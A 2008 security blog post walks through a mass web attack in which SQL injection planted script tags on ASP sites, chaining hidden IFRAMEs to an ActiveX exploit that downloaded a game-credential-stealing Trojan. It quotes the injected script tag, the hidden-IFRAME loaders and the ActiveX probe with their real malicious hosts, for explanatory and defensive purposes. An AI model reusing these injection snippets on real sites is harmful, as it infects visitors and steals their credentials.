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Stepping Through A Mass Web Attack

November 13, 2008 - 4 min read

A few days ago, Kaspersky reported on yet another mass web attack. Such attacks are quickly becoming a preferred attack vector as they permit mass infection with minimal effort. We've seen this before, and not just once. In fact, it seems to be popular among Chinese hackers and is often used to gather authentication credentials for online games. While it hasn't yet been verified, it appears that SQL injection vulnerabilities on vulnerable servers led to the initial infection. All infected servers seem to be running Microsoft ASP pages, a common target for those seeking sites vulnerable to SQL injection.

I'm fascinated by such attacks as they illustrate the interconnected nature of the web and shatter the myth that you are safe if you stick to browsing reputable sites. Sadly, reputable sites struggle with vulnerabilities on a regular basis. The unfortunate reality is that any site, no matter how big or small, could be infected. In this latest attack, Travelocity was compromised. While vulnerable servers were infected, the true targets of these attacks are the end users which visit the sites. I've been preaching for some time now that we need to shift our focus from servers to browsers. We spend the majority of our security resources locking down servers and put minimal effort into protecting users browsing the web. Attackers have shifted their focus and we must do the same.

Attack Walk-Through

According to Kaspersky, the attack leverages multiple browser vulnerabilities and a variety of sites to host the attack scripts and malicious code. In order to better understand how these attacks succeed, let's walk through one such attack scenario which was live at the time this blog was written:

Step 1 - Server Infection

The attack begins by injecting code onto as many vulnerable web servers as possible. This is commonly accomplished via SQL injection. In this specific example, the following code was injected:

<script src="http://dbios.org/h.js">

This code won't change the appearance of the page, so a victim has no way of knowing that the so-called reputable page, is actually launching an attack on his browser. A quick Google search illustrates the mass nature of the attack and reveals that many sites are still infected.

Step 2 - Redirects

The initial JavaScript file typically doesn't contain the ultimate attack, but rather calls a variety of other scripts from different locations. This may be done in part to obfuscate the attack but is more likely done simply to accommodate multiple vulnerabilities and download sites in order to make the attack more robust and reach as many potential victims as possible. In our case, the following two IFRAMEs are added to the page:

document.write("<iframe width='20' height='0' src='http://vvexe.com/haha/index.html'></iframe>");
document.write("<iframe width='0' height='0' src='http://www.kenya.com/faq.htm'></iframe>");

Kasperky discusses that this latest round targets a variety of vulnerabilities in web browsers and Maromedia Flash Player. In our example, the exploitation is going after a vulnerability in the Snapshot Viewer for Microsoft Access ActiveX control, published on August 12, 2008 and detailed in MS08-041. One of the IFRAMEs contains code which attempts to instantiate the Snapshot Viewer ActiveX control as shown below:

try{var n;
var ll=new ActiveXObject("snpvw.Snapshot Viewer Control.1");}
finally{if(n!="[object Error]"){document.write("("<iframe width=50 height=0 src=ff.htm></iframe>");}}

As can be seen, if the ActiveX control is indeed accessible, the browser then opens yet another IFRAME from http://vvexe.com/haha/ff.htm and this is where the attack actually lies. The writers of this exploit are either not particularly skilled or just lazy as they've simply leveraged an already public exploit line for line and simply changed the target download to http://ip.kanlang.com/haha/down.exe.

Step 4 - Client Infection

The down.exe executable is a Trojan, which goes by various aliases, including Infostealer.Wowcraft. The Trojan serves as a keylogger and is designed to harvest and transmit authentication credentials for World of Warcraft.

Lessons Learned

  1. Surfing 'reputable sites' is not guaranteed to prevent infection.
  2. A server side compromise is often the first step in a client side attack.
  3. Defense in depth is critical. In this situation, the threat can be mitigated by patch management, network and host based AV and blocking malicious URLs.

Happy surfing!

- michael

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